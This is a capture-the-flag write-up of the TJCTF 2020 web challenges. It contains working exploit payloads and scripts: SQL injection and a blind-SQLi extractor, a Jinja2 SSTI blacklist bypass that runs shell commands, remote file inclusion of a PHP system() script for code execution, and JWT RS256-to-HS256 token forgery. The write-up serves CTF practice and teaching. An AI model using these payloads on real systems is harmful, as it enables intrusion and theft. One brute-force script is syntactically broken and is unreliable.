TJCTF 2020

Categories index
Web

Web

Login

Could you login into this very secure site? Best of luck!

It is a simple login page written in Javascript. Just open webtools and find out the code used to check for inserted credentials.

<script>
    var _0xb31c=['value','c2a094f7d35f2299b414b6a1b3bd595a','Sorry.\x20Wrong\x20username\x20or\x20password.','admin','tjctf{','getElementsByName','toString'];
    (function(_0xcd8e51,_0x31ce84){var _0x55c419=function(_0x56392e){while(--_0x56392e){_0xcd8e51['push'](_0xcd8e51['shift']());}};
    _0x55c419(++_0x31ce84);}(_0xb31c,0x1e7));var _0x4a84=function(_0xcd8e51,_0x31ce84){_0xcd8e51=_0xcd8e51-0x0;var _0x55c419=_0xb31c[_0xcd8e51];
    return _0x55c419;};
    checkUsername=function(){username=document[_0x4a84('0x1')]('username')[0x0]['value'];password=document[_0x4a84('0x1')]('password')[0x0][_0x4a84('0x3')];
    temp=md5(password)[_0x4a84('0x2')]();if(username==_0x4a84('0x6')&&temp==_0x4a84('0x4'))alert(_0x4a84('0x0')+password+'890898}');else alert(_0x4a84('0x5'));};
</script>

The last line is checking if the inserted credentials are valid. The simplest way to verify what’s going on is to open the JS console in chrome and try out the logic applied in the last code line. After some simple tries, we realized the codes makes a similar check :

if (username === 'admin' && md5(password) === 'c2a094f7d35f2299b414b6a1b3bd595a') {
    alert('tjctf{' + password + '890898}')
}

Crackstation reveals our md5 hash is known as ‘inevitable’.

🏁 tjctf{inevitable890898}

Sarah Palin Fanpage

Are you a true fan of Alaska’s most famous governor? Visit the Sarah Palin fanpage.

This website seems something like a Sarah Palin’s fanpage, with a lot of random contents. The interesting part is the ‘VIP Area’. By trying it out we get :

web

Let’s see what are they talking about. Let’s see what’s on ‘Top 10 moments’ page. Yeah, other random youtube contents. We can like the posts. Let’s try and become a real fan by liking all the posts.

web

Nope, we can’t like all the posts all together. We can see our post likes are stored in an base64 encoded cookie.

echo "eyIxIjpmYWxzZSwiMiI6ZmFsc2UsIjMiOmZhbHNlLCI0IjpmYWxzZSwiNSI6ZmFsc2UsIjYiOnRydWUsIjciOnRydWUsIjgiOnRydWUsIjkiOnRydWUsIjEwIjp0cnVlfQ==" | base64 -d
{"1":false,"2":false,"3":false,"4":false,"5":false,"6":true,"7":true,"8":true,"9":true,"10":true}

Hmm, lets try and craft a session with all true values.

eyIxIjp0cnVlLCIyIjp0cnVlLCIzIjp0cnVlLCI0Ijp0cnVlLCI1Ijp0cnVlLCI2Ijp0cnVlLCI3Ijp0cnVlLCI4Ijp0cnVlLCI5Ijp0cnVlLCIxMCI6dHJ1ZX0=

🏁 tjctf{wkDd2Pi4rxiRaM5lO … pbuqPBm4k3iQd8n0sWbBkOf}

Login Sequel

Login as admin you must. This time, the client is of no use :(. What to do?

Lookin at the page source code we can see some interesting comments:

<!-- The following code might be helpful to look at: -->
<!--
def get_user(username, password):
    database = connect_database()
    cursor = database.cursor()
    try:
        cursor.execute('SELECT username, password FROM `userandpassword` WHERE username=\'%s\' AND password=\'%s\'' % (username, hashlib.md5(password.encode())))
    except:
        return render_template("failure.html")
    row = cursor.fetchone()
    database.commit()
    database.close()
    if row is None: return None
    return (row[0],row[1])
-->

Yeah, easy SQL injection incoming !

curl 'https://login_sequel.tjctf.org/login' --data 'username=admin%27+%2F*+&password=123' --compressed

🏁 tjctf{W0w_wHa1_a_SqL1_exPeRt!}

Weak Password

It seems your login bypass skills are now famous! One of my friends has given you a challenge: figure out his password on this site. He’s told me that his username is admin, and that his password is made of up only lowercase letters and numbers. (Wrap the password with tjctf{…})

Someone said Blind Sql injection ? Just craft a simple python script and leak the password from the userandpassword table.


#!/bin/python
import requests
import string

headers = {
    'authority': 'weak_password.tjctf.org',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'origin': 'https://weak_password.tjctf.org',
    'content-type': 'application/x-www-form-urlencoded',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36',
    'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'referer': 'https://weak_password.tjctf.org/',
    'accept-language': 'it-IT,it;q=0.9,fr-IT;q=0.8,fr;q=0.7,en-IT;q=0.6,en;q=0.5,en-US;q=0.4',
}

dic = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!#$&()*+-./:;<=>?@[\]^_`{|}~"
diclen = len(dic)

found = False
result = ""

for i in range(1, 100):
    found = False
    for char in dic:
        print("[*] Trying {}{}".format(str(result), char))
        data = {
          'username': "admin",
          'password': '\' or (SELECT password FROM userandpassword WHERE username=\'admin\') LIKE \'{}{}%\' -- '.format(result, char)
        }
        response = requests.post('https://weak_password.tjctf.org/login', headers=headers, data=data)
        resp = str(response.content)

        if "Wrong username or password." in resp:
            print("wrong pass")

        if "Congratulations" in resp:
            result = result + char
            print("[*] Found char {}".format(char))
            print("[*] Current: {}".format(result))
            found = True
            break

    if not found:
        print("[X] Couldn't find char at position {}".format(i))
        print("[*] Current: {}".format(result))
        exit(1)

🏁 tjctf{blindsqli14519}

Congenial Octo Couscous

Team Congenial-Octo-Couscous is looking to replace one of its members for the Battlecode competition, who carried the team too hard and broke his back. Until a neural net can take his place, the team wants a 4th member. Figure out how to join the team and read the secret strategy guide to get the flag.

We are given a simple contact form so we can apply for the COC team membership.

web

The goal of this challenge is to read strategyguide.txt file. If we try to access it directly from the website we get an ACCESS DENIED error. Lets stress the form out and see if we find something interesting. After some tries we can note that each time we insert a number in the username field we get Server Error as the response. Interesting … Lets try out some basic SSTI payloads.

web

Voilà, seems like Jinja2 unsafe user input escaping. We can see an interesting SERVER_FILEPATH : /secretserverfile.py. Lets get it and see what is this application doing.

from flask import Flask, render_template, request, render_template_string
from multiprocessing import Pool
import random
import re

app = Flask(__name__, template_folder='templates')
app.config['SERVER_FILEPATH'] = '/secretserverfile.py'

def check_chars(text=''):
    if text == '':
        return False
    if '{' in text or '}' in text:
        text2 = re.sub(r'\s', '', text).lower()
    illegal = ['"', 'class', '[', ']', 'dict', 'sys', 'os', 'eval', 'exec', 'config.']
    if any([x in text2 for x in illegal]):
        return False
    for i in range(10):
        if str(i) in text:
            return False
    return text


def async_function(message):
    return render_template_string(message)


app.jinja_env.globals.update(check_chars=check_chars)

@app.route('/')
def main():
    return render_template('index.html')

@app.route(app.config['SERVER_FILEPATH'])
def server():
    return open('server.py').read()

@app.route('/strategyguide.txt')
def guide():
    # TODO: add authentication to endpoint
    return 'ACCESS DENIED'


@app.route('/apply', methods=["POST"])
def apply():
    if request.form.get('username') is not None:
        if check_chars(request.form.get('username')):
            message='Hello, '+ check_chars(request.form.get('username'))+'. Your application will be processed in '+ str(random.randint(3,7)) +' weeks.'
            result=None
            with Pool(processes = 1) as pool:
                return_val = pool.apply_async(async_function,(message,))
                try:
                    result = return_val.get(timeout=1.50)
                except:
                    result='Server Timeout'
                return result
        else:
            return 'Server Error'


if __name__ == "__main__":
    app.run(debug=True)

We can see two interesting functions here :

  1. @app.route(‘/strategyguide.txt’) : yeah, we can never read the file from here, gonna try harder
  2. def check_chars(text=’’) : hmm, the old but gold blacklisting function …

We need to find out another way to read the flag file. Applications with SSTI are often vulnerable to local file reading. We can try to read the file using the classic :

''.__class__.__mro__[1].__subclasses__()[40]('POPEN ARGS')

The idea behind the above snippet is going back the string class hierarchy and reach __subclasses()[INDEX]__ so we can see if we can find useful classes for our goal. If we are lucky enough we can find out the subprocess.Popen class. Lets list all the interesting classes :

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ... <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'> ... , <class 'multiprocessing.synchronize.SemLock'>, <class 'multiprocessing.synchronize.Condition'>, <class 'multiprocessing.synchronize.Event'>, <class 'multiprocessing.popen_fork.Popen'>]

Yeah, a lot of classes … Let’s cut out the useless classes so we can see our friend <class ‘subprocess.Popen’> at index 199 of the subclasses list. At this point the payload would be :

''.__class__.__mro__[1].__subclasses__()[199]('cat strategyguide.txt', shell=True, stdout=-1).communicate()

web

Or maybe not ? Oh yeah, the blacklisting function. Lets analyze it better :

  1. No words containig :
    illegal = ['"', 'class', '[', ']', 'dict', 'sys', 'os', 'eval', 'exec', 'config.']
    
  2. No numbers :
    for i in range(10):
         if str(i) in text:
             return False
    

Tricky enough, we can bypass all of these rules using alternative inputs :

Bypass blacklist

We have to bypass the restricted words like class and subclass using |attr and the number filtering in arrays unsing .pop(index)

''.__class__  # bypass using ''|attr(request.args.cl) adding ?cl=__class__ as GET param
__mro__[1]    # bypass using mro().pop(request.args.num | int) adding ?num=1 or &num=1 (if not first arg) as GET param

Same logic for the other blacklisted words and numbers. Final payload :

#!/bin/python
import requests
import multiprocessing

headers = {
    'authority': 'congenial_octo_couscous.tjctf.org',
    'accept': '*/*',
    'x-requested-with': 'XMLHttpRequest',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36',
    'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'origin': 'https://congenial_octo_couscous.tjctf.org',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    'referer': 'https://congenial_octo_couscous.tjctf.org/',
    'accept-language': 'it-IT,it;q=0.9,fr-IT;q=0.8,fr;q=0.7,en-IT;q=0.6,en;q=0.5,en-US;q=0.4',
}

data = {
  'fname': 'test',
  'lname': 'test',
  'email': 'test',
  'username': '{{((\'\'|attr(request.args.cl)).mro().pop()|attr(request.args.sub)()).pop(request.args.uno|int)(\'cat strategyguide.txt\', shell=True,stdout=(request.args.meno|int)).communicate()}}'
}

response = requests.post('https://congenial_octo_couscous.tjctf.org/apply?cl=__class__&sub=__subclasses__&dic=__dict__&uno=199&meno=-1', headers=headers, data=data)
print(response.content)

🏁 tjctf{c0ng3n1al_500iq_str4ts_ez_dub}

File Viewer

So I’ve been developing this really cool site where you can read text files! It’s still in beta mode, though, so there’s only six files you can read.

We are given this simple website where we can insert a file name and the server reads it for us.

web

By inserting apple.txt we can see it’s content. Observing the url, we get https://file_viewer.tjctf.org/reader.php?file=apple.txt. What if we try the classic https://file_viewer.tjctf.org/reader.php?file=/etc/passwd

web

The goal is to read a hidden file somewhere on the filesystem. We need RCE so we can search for our flag. Lets see if we can get files from remote hosts. Setting up an ngrok host tunneling our local enviroment, we can read and include controlled contents. Lets set up a simple php script that executes :

<?php system('ls');

web

Voilà, lets read our flag :

<?php system('cat i_wonder_whats_in_here/flag.php | base64');

🏁 tjctf{n1c3_j0b_with_lf1_2_rc3}

Moar Horse 4

It seems like the TJCTF organizers are secretly running an underground virtual horse racing platform! They call it ‘Moar Horse 4’… See if you can get a flag from it!

This website is a sort of cyber-horse racing platform. Upon entering the website we are given $150 and we can buy a horse.

web

We’re also given the source code :

from flask import Flask, render_template, request, render_template_string, session, url_for, redirect, make_response
import sys
import jwt
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key : jwt.utils.force_bytes(key) # was causing problems
import os
import random
import collections
import hashlib


app = Flask(__name__, template_folder="templates")
app.secret_key = os.urandom(24)

BOSS_HORSE = "MechaOmkar-YG6BPRJM"

with open("pubkey.pem", "rb") as file:
    PUBLIC_KEY = file.read()

with open("privkey.pem", "rb") as file:
    PRIVATE_KEY = file.read()

Horse = collections.namedtuple("Horse", ["name", "price", "id"])
next_id = 0
valid_horses = {}
with open("horse_names.txt", "r") as file:
    for name in file.read().strip().split("\n"):
        valid_horses[next_id] = Horse(name, 100, next_id)
        next_id += 1

with open("flag.txt", "r") as file:
    flag = file.read()

def validate_token(token):
    try:
        data = jwt.decode(token, PUBLIC_KEY)
        return all(attr in data for attr in ["user","is_omkar","money","horses"]), data
    except:
        return False, None

def generate_token(data):
    token = jwt.encode(data, PRIVATE_KEY, "RS256")
    return token

@app.route("/")
def main_page():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            return render_template("main.html", money=data["money"])
        else:
            response = make_response(render_template("new_user.html"))
            response.delete_cookie("token")
            return response
    else:
        return render_template("new_user.html")

@app.route("/join")
def join():
    data = {
        "user": True,
        "is_omkar": False,
        "money": 100,
        "horses": []
    }
    response = make_response(redirect("/"))
    response.set_cookie("token", generate_token(data))
    return response

@app.route("/race")
def race():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            error_message = ("error" in request.args)
            owned_horses = data["horses"]
            return render_template("race.html", owned_horses=owned_horses, money=data["money"], \
                boss_horse=BOSS_HORSE, error_message=error_message)
        else:
            return redirect("/")
    else:
        return redirect("/")

@app.route("/do_race")
def do_race():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:

            if "horse" in request.args:
                race_horse = request.args.get("horse")
            else:
                return redirect("/race")

            owned_horses = data["horses"]
            if race_horse not in owned_horses:
                return redirect("/race?error")

            boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
            your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)

            if your_speed > boss_speed:
                return render_template("race_results.html", money=data["money"], victory=True, flag=flag)
            else:
                return render_template("race_results.html", money=data["money"], victory=False)
        else:
            return redirect("/")
    else:
        return redirect("/")

@app.route("/store")
def store():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            success_message = ("success" in request.args)
            failure_message = ("failure" in request.args)
            all_horse_ids = list(valid_horses.keys())
            random.shuffle(all_horse_ids)
            horses = [valid_horses[horse_id] for horse_id in all_horse_ids[:random.randint(4,6)]]
            return render_template("store.html", horses=horses, money=data["money"], \
                success_message=success_message, failure_message=failure_message)
        else:
            return redirect("/")
    else:
        return redirect("/")

@app.route("/buy_horse")
def buy_horse():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            if "id" in request.args:
                buy_id = int(request.args.get("id"))
            else:
                response = make_response(redirect("/store?failure"))
                return response

            if data["money"] >= valid_horses[buy_id].price:
                data["money"] -= valid_horses[buy_id].price
                data["horses"].append(valid_horses[buy_id].name)
                response = make_response(redirect("/store?success"))
                response.set_cookie("token", generate_token(data))
                return response
            else:
                response = make_response(redirect("/store?failure"))
                return response
        else:
            return redirect("/")
    else:
        return redirect("/")


if __name__ == "__main__":
    app.run(debug=False)

Upon analyzing the source code we realize the racing mechanism does a strange comparison:

boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)

if your_speed > boss_speed:
    return render_template("race_results.html", money=data["money"], victory=True, flag=flag)

Digging deeper, we can notice we have no way to win against MechaOmkar-YG6BPRJM as the md5 values of all the horses in the store are much smaller then of our cyber-horse opponent. We are also given the public key used to verify the signature of the jwt token generated by the application. Lets take our token to jwt.io :

web

This means there is a private RSA key on the server used to sign fresh tokens. As we’re given the public key, we can try to forge new custom tokens by changing token’s algorithm to HS256 and trying to sign tokens using the public key. If it works, the backend will try to validate the token using the public key as the HS256 algorithm instead. Reference : Hacking JSON Web Token (JWT)

#!/bin/python
import jwt
import hashlib

public = open('pubkey.pem', 'r').read()
data = {
        "user": True,
        "is_omkar": True,
        "money": 150,
        "horses": ["TEST_HORSE"]
}
print(jwt.encode(data, key=public, algorithm='HS256').decode('utf-8'))

And yeah, it worked! We can forge custom tokens.

web

Our final task is finding the best and the fastest horse. We can put it all together and find our horse :

#!/bin/python
import jwt
import hashlib
import random
import string

BOSS_HORSE = "MechaOmkar-YG6BPRJM"
boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
print("Should beat BOSS speed {}".format(boss_speed))


def randomString(stringLength=8):
    letters = string.ascii_uppercase
    return ''.join(random.choice(letters) for i in range(stringLength))

found = False
while not found:
    race_horse = "{}".format(randomString(48)
    if your_speed > boss_speed:
        print("Found it : {}".format(race_horse))
        found = True


print("My speed : {}".format(your_speed))
print("BOSS speed : {}".format(boss_speed))

public = open('pubkey.pem', 'r').read()
data = {
        "user": True,
        "is_omkar": True,
        "money": 150,
        "horses": [race_horse]
}
print(jwt.encode(data, key=public, algorithm='HS256').decode('utf-8'))

Take a coffe break, let your CPU do the hard work and get the champion horse. We found DMUKSBLFECUOPIJPQUUSUEIMDEXDAKFPTKYACBCIXMTKCSOC, more of a serial number than a horse name. Lets forge the session and win this race :

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6dHJ1ZSwibW9uZXkiOjE1MCwiaG9yc2VzIjpbIkRNVUtTQkxGRUNVT1BJSlBRVVVTVUVJTURFWERBS0ZQVEtZQUNCQ0lYTVRLQ1NPQyJdfQ.AOF6ngfXksImLWzFhRz-6F7TqOAbN6RmA0V4MDtSe0k

web

🏁 tjctf{w0www_y0ur_h0rs3_is_f444ST!}